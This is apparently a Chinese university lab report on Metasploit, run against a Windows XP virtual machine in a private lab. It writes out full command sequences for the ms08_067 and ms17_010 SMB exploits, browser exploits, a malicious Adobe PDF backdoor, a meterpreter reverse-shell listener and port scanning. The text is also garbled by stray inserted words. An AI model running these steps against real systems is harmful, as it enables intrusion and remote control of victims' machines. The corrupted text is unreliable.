本实践目标是掌握metasploit的基本应用方式,重点经常使用的三种攻击方式的思路。具体须要完成:html
1.1一个主动攻击实践,如ms08_067; (1分)shell
1.2 一个针对浏览器的攻击,如ms11_050;(1分)windows
1.3 一个针对客户端的攻击,如Adobe;(1分)api
1.4 成功应用任何一个辅助模块。(0.5分)浏览器
以上四个小实践可不限于以上示例,并要求至少有一个是和其余全部同窗不同的,不然扣除0.5分。安全
用本身的话解释什么是exploit
,payload
,encode
.ruby
用本身感受通俗的话来讲:网络
exploit
: msf用来攻击的一种模块工具。
payload
: 老师上课说的,用来将msf生成的shellcode送到执行攻击程序的代码里去。
encode
: 主要功能是编码,就是假装攻击代码,让它可以绕过“坏字符”,从而能正常地攻击靶机,避免出现因“坏字符”而出现问题。session
MSF的六种模块架构
攻击方:Kali(192.168.154.152) 靶机:WindowsXP SP3(English)(192.168.154.153)
Ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击能够得到一个相对高的权限。
首先,咱们能够先扫描一下靶机有哪些漏洞,我找到了一篇博客----metaaploit利用漏洞渗透靶机,里面介绍的很详细。有两个指令能够扫描:nmap -O 靶机IP
和nmap --script==vuln 靶机IP
。咱们能够都来试一下:
nmap -O 192.168.154.153
,如图所示,呵呵,什么鬼。nmap --script==vuln 192.168.154.153
,如图所示,咱们能够发现有两个漏洞:ms08_067
和ms017-010
,咱们能够都试一下。msfconsole
,查看一下ms08_067
,输入search ms08_067
,咱们能够看到在攻击模块中确实存在这样一个漏洞exploit/windows/smb/ms08_067_netapi
。咱们就利用这个漏洞来进行攻击,输入use exploit/windows/smb/ms08_067_netapi
。
接下来,问题又来了,用什么攻击载荷payload
来进行攻击呢?咱们能够输入show payloads
来查看一下。
咱们能够看到不少可用的payload
,我就选择一个咱们前几回实验没有用过的generic/meterpreter_reverse_tcp
吧,输入set payload generic/meterpreter_reverse_tcp
来设置相关参数。
那么,问题又来了,有哪些参数须要设置呢?咱们能够输入show options
来查看。
咱们能够看到咱们须要设置的有RHOST----被攻击的靶机IP
。
set RHOST 192.168.154.153
,在这里,其实其余的参数就不用设置,只不过一开始作实验比较保守,就给设置了,嘻嘻。设置好参数后,输入exploit
开始攻击。
攻击成功就会显示如图所示画面。
输入一个指令dir
,就会显示全部文件了。
接下来咱们尝试一下ms017_010_psexec
。
msfconsole
,输入search ms017_010
搜索一下。咱们能够看到这样的漏洞存在3个,前两个都有人作过,咱们试一下第3个ms017_010_psexec
。
输入use exploit/windows/smb/ms017_010_psexec
使用这个漏洞模块。
接下来,咱们仍是输入show payloads
看看有哪些可用的攻击载荷。
windows/meterpreter/reverse_tcp
,输入set payloads windows/meterpreter/reverse_tcp
,这里显示的参数一大堆,不过好多都已经默认了,咱们只须要设置LHOST
就好。set LHOST 192.168.154.152
,其余的不用设置,本身又保守了。exploit
进行攻击,哇,出现了终端,输入dir
,成功了,开心地蹦起。攻击方:Kali(192.168.154.152) 靶机:Windows XP SP3(English)(192.168.154.153)
cd /usr/share/metaploit-framework/modules/exploit/windows/browser
查询看一下有什么漏洞能够攻击,如图所示,发现一个漏洞ms10_042
.msfconsole
进行查询。search ms10_042
,搜索该漏洞。info exploit/windows/browsers/ms10_042_helpctr_xss_cmd_exec
来查询该漏洞,咱们能够看到相应靶机。这里看到的靶机是自动搜索的。
use exploit/windows/browsers/ms10_042_helpctr_xss_cmd_exec
,使用该模块。payloads
,我选择windows/meterpreter/reverse_tcp
的攻击载荷,输入set payload windows/meterpreter/reverse_tcp
,并输入show options
显示相应参数,发现咱们只须要设置LHOST
。exploit
进行攻击,遗憾的是,没有弹出相应连接入口,攻击失败。攻击方:Kali(192.168.154.152) 靶机:windows xp sp3(English)(192.168.154.153)
根据刚才在/usr/share/metaploit-framework/modules/exploit/windows/browser
中看到的漏洞,咱们能够看到还有一个漏洞ms10_046_shortcut_icon_dllloader
仍是刚才的思路,输入命令
search ms10_046 //查询该漏洞的路径 info exploit/windows/browser/ms10_046_shortcut_icon_dllloader//查询该漏洞相应的信息 use exploit/windows/browser/ms10_046_shortcut_icon_dllloader//使用该漏洞 show payloads//展现该漏洞相应的攻击载荷 set payload windows/meterpreter/reverse_tcp//设置相应的攻击载荷的参数 set LHOST 192.168.154.152 set SRVHOST 192.168.154.152 set RHOST 192.168.154.153 exploit//开始攻击
http://192.168.154.152:80
,如图所示。sessions
,咱们就能够看到创建会话的ID。sessions -i 1
,打开session,成功(长舒一口气)。攻击方:Kali(192.168.154.152) 靶机:windows XP sp3(192.168.154.153)
步骤:
msfconsole//打开msf search adobe//查找与adobe有关的漏洞 use windows/fileformat/adobe_cooltype_sing //使用攻击模块 set payload windows/meterpreter/reverse_tcp//设置攻击载荷 set LHOST 192.168.154.152 set FILENAME 20165203.pdf//设置生成文件的文件名 exploit//攻击
root/.msf4/local/
下,咱们能够进入此路径,找到该文件。20165203.pdf
复制到靶机中。back
退出当前模块,开始监听use exploit/multi/handler//使用监听模块 set payload windows/meterpreter/reverse_tcp//设置攻击载荷 set LHOST 192.168.154.152 exploit//攻击
在靶机中打开相应的后门文件20165203.pdf
。
如图所示,攻击成功,这个没有遇到太多困难。
msfconsole
后,我用show auxiliary
来展现一下辅助模块,发现了不少扫描端口的模块。我也上网搜了一下,这些标识的内容:
ack:经过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测; ftpbounce:经过FTP BOUNCE攻击的原理对TCP服务进行枚举 syn:使用发送TCP SYN标志的方式探测开放的端口 tcp:经过一次完整的TCP连接来判断端口是否开放 xmas:一种更为隐蔽的扫描方式,经过发送FIN,PSH,URG标志可以躲避一些TCP标记检测器的过滤
auxiliary/scanner/portscan/syn
模块,输入use auxiliary/scanner/portscan/syn
使用这个模块。show options
来查看参数。set RHOST 192.168.154.153//设置靶机地址 set THREAD 50//设置线程数
run
运行nmap
的相关指令对主机进行扫描,如图所示,输入nmap -sS -Pn 192.168.154.153
对靶机进行扫描。经过上面的实验,咱们能够总结出使用MSF攻击通常有两种思路:
nmap -O 靶机IP 或 nmap --script==vuln 靶机IP//扫描靶机上的漏洞 msfconsole//打开msf search 漏洞关键字//找出模块的路径 开始进行一系列攻击
进入相应文件夹查找漏洞 msfconsole//打开msf search 漏洞关键字//找出模块的路径 info 模块路径//查询模块的信息,尤为注意target,根据target信息来找相应的靶机 进行一系列攻击
基本遇到的问题就是一直在找靶机,找Target对应的版本,遇到了一个小问题,但愿对你们有帮助。
Q:在攻击Adobe时,生成的20165203.pdf
文件没有找到,甚至/root
下的msf4/local/
也没有找到。
A:当时本身的反应是文件夹被隐藏了,因而我经过点击右上的下三角,将显示隐藏的文件
勾上便可。
我感受目前咱们对漏洞的分析仍是具备必定的局限性,仅限于从网上找一些你们攻击过的漏洞来进行攻击。要想达到实战的能力,咱们还应有探索的勇气,勇于找到一些新的攻击模块,本身一步一步查询相应的靶机,查询相应的参数来进行设置,因此,仍是须要多多实战。
经过本次实验,我对MSF有了更深的理解,原来本身一直分不清msf
、metaploit
、msfconsole
和meterpreter
的关系,如今也明白了metaploit
是msf
的一个版本,msfconsole
是msf
的一个接口,meterpreter
是msf
的一个工具。 本身也经过实验总结了使用MSF攻击的思路和通常步骤,此次实验真的颇有收获,可是《网络对抗》仍是一个实战性的科目,本身还须要多多实践。